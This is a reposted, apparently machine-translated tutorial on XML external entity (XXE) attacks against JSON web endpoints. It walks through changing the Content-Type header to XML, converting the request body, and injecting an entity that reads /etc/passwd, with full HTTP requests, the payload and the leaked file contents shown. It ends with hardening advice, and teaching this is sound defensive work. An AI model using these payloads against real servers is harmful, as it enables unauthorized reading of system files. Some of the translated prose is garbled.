Turn from: 360 Security broadcast http://bobao.360.cn/learning/detail/360.html
As you all know, many web and mobile applications rely on client-server Web communication interaction services. In Web services such as soap and restful, the most common data formats are XML and JSON. When a Web service is transferred using either XML or one of the JSON, the server may receive data formats that the developer did not anticipate. If the XML parser on the server is not well configured, the terminal in the JSON transmission may suffer a XXe attack, also known as an XML external entity attack.
XXe is an attack on an XML terminal that hackers want to implement, requiring that the XML payload contain external entity declarations, and that the server itself allows entity extensions. In this case, the hacker may be able to read the Web server's file system, access the remote file system through a UNC path, or connect to any host via Http/https. In the following example, we point an external entity to the/etc/passwd on the Web server, which is contained in the XML payload.
1234 |
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> [some xml content..] < element >&xxe;</ element > [some xml content..] |
The above is a simple and effective attack, we see how to use the Content-type header and HTTP request payload, whether it can also black out the JSON terminal. Here is a sample JSON request that sets Content-type to Application/json, which streamlines most of the content.
1 23456789101112 |
http request: post /netspi http/1.1 host: someserver.netspi.com accept: application/json content-type: application/json content-length: 38 {"search": "Name", "Value": "Netspitest"} http response: http/1.1 200 ok content-type: application/json content-length: 43 {"error": "No results for name netspitest"} |
If the Content-type header is modified to Application/xml, the client will tell the server that the past data is in XML format. However, if you actually pass the past is not the format, the server will not parse, and will report the following error:
123456789101112 |
http request: post /netspi http/1.1 host: someserver.netspi.com Accept: application/json content-type: application/xml content-length: 38 {"search": "Name", "Value": "Netspitest" http response : http/1.1 500 internal server error content-type: application/json content-length: 127 {"errors": {"errormessage": "Org.xml.sax.saxparseexception: xml document structures must start and end within the same entity. "}} |
This error indicates that the server is capable of handling data in XML format and JSON format, but now the actual data format received by the server is not the XML format declared in the Content-type, so this is not a natural solution. To solve this problem, the JSON format is forcibly converted to XML format. If you want to do such a conversion, there are many online tools, Eric Gruber has written a burpsuite plugin (Content-type Converter), you can automatically convert the format in Burpsuite.
12 |
Original JSON { "search" : "name" , "value" : "netspitest" } |
1 234 |
xml conversion <? xml version = "1.0" encoding = "UTF-8" ?> < search >name</ search > < value >netspitest</ value > |
However, this direct conversion of the XML document is obviously invalid, it does not have the XML format file necessary <root> elements. If this XML-formatted file is sent to the server, it is possible that the server will respond to an error message, and all the best practice is to add a <root> element to the converted XML document.
12345 |
<? xml version = "1.0" encoding = "UTF-8" ?> < root > < search >name</ search > < value >netspitest</ value > </ root > |
The original JSON request can now be converted to XML and sent to the server, and then a valid response is obtained.
123456 |
HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 112 |
12345 |
<? xml version = "1.0" encoding = "UTF-8" ?> < root > < search >name</ search > < value >netspitest</ value > </ root > |
12345 |
HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"} |
Because the server is able to receive XML data here, hackers can thus implement XXE attacks on the JSON terminal.
123456 |
HTTP Request: POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288 |
123456 |
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<
root
>
<
search
>name</
search
>
<
value
>&xxe;</
value
>
</
root
>
|
Hackers here can read the contents of the/etc/passwd file:
123456789 |
HTTP Response: HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467 {"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... |
Obviously, not every JSON terminal will receive XML format, change Content-type is not much use, it is possible that you will only get a 415 data type does not support error. However, an attack that is converted to XML by JSON is not limited to transmitting payload with JSON content through post, and I have seen cases in which the corresponding parameters are transmitted in get form. If the JSON parameter is converted to XML, the server will determine the true type of the content type itself.
From the above experiment we can conclude that if you want to harden the JSON terminal, the XML parsing must be disabled, or you must disable the inline DOCTYPE declaration to protect against XML external entity injection attacks.
Magical content-type--play XXe attack in JSON